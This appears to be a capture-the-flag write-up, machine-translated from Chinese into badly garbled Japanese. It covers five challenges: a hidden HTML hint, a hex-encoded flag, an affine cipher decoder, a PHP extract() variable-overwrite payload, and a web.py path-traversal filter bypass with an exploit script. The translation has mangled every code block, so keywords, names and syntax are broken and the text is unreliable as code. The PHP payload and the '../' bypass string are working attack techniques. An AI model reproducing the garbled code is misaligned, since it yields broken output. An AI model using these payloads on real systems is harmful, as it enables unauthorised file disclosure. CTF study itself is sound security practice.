1.FirstBlood
<divの上記のid = "MyInfoの"
クラス = "公開するモーダル"スタイル= "表示を実行します:なし;">
<H2>私の情報</ H2> <BLOCKQUOTE>
<P->チーム名:テストユーザー</ p型>
<P- >スローガン:FirstBl00d </ P->
< -のindex.php /ユーザー/ updatevoiceボイス= - >!
<P->スコア:300 </ P->
<P-> FLAGが見出された:3 </ P->
</ BLOCKQUOTE>
<a クラス ="close-reveal-modal"> &#215;する</a>
</ div>
访问URL / index.phpを/ユーザー/ updatevoice?声=ランボー
2. 16進数文字列
オープンな質問、ヒント:
これは、フラグは666c61675f69735f686572657b3265346231303234613763386 3353432373139633637613064666333663432302e7068707dほぐし知った後、16進数の文字列であります
直接に変換デジタルコンバータスロー進文字以上
3.アフィン暗号
暗号文:yfsfnhtzlsrftclhwrffonw
アフィンにおいて、= 15、B = 23
結果の平文を提出します:
アフィンパスワード規則である:C =(Mの*のA + B)26%
平文比べ得るためにM =(C - のb * A ^( - 1))%26
アルゴリズム:
#。コーディング8 = UTF- #最大公約数の DEFのegcd(A、B):IF == 0: リターン(B、0 ,. 1 ) 他: G、Y、X = egcd(%のB、A) リターン(G、X - (B // A)* Y、Y)#1 のモジュロ逆 DEFのmodinv(A、M): G、X、Y = egcd(A、M) IF G = 1 :!。 上げ例外( 'モジュラー逆が存在しない' ) それ以外: リターン Xの%のM #のオイラー関数 DEF EULAR(N-):COUNT = 0 のために Xはxrange(0、N)において: G、X、Y = egcd(X、n)の 場合、G == 1: カウント = カウント 1 + 戻り 、カウント #仿射密码 DEF Affine_cipher(暗号文、B): plantext = '' #求逆元 FA = modinv(26)のためのxの暗号文で: もし X == ' ': plantext + =''は 継続 plantext + = CHR(ORD A ')+(((' ORD(X)を-b) - ORD( 'A'))* FAの%26 ) 戻り plantext
通話キーを取得した平文
4.変数カバー
<?PHPの $ファイル名 = 'X' ; 抽出($ _GET ); もし(!空($の試み)) { $のconbination = トリム(のfile_get_contents($ファイル名を)); もし($試み === $ conbination ) { エコー "<P> neirong"。" $のconbination </ P>!?" 。 必要( "flag.php" ); エコー "<P>祝を、キーがあります:"。「$フラグ <P> } 他 { エコー "!<P> Incorrenr </ P>" ; } } ?>
ペイロード:?URL attempy =&ファイル名= flag.php
5.web.py
デフ(自己、ファイルパス)GET: 場合 filepath.findすること(" フラグ")> - 1 : リターン " ハッカー" ファイルパス = filepath.replace(" ../ "、"" ) してみてください: オープンで(「./uploads/ %S "%のファイルパス、" RB " Fとして): コンテンツ = f.read() 戻りコンテンツ 除く: 戻り web.notfound("申し訳ありませんが、あなたが探していたファイルが見つかりませんでした。")
EXP:
以下からのリクエストインポートGET DEF :get_flag() のurl = "" ペイロード = URL + " ... / ... // ... / ... // FLA ../ g.txt " フラグを = (ペイロード)を取得.content 戻りフラグ 場合 __name__ == " __main__ " : フラグ = get_flag() プリント " [X]フラグ:" +フラグ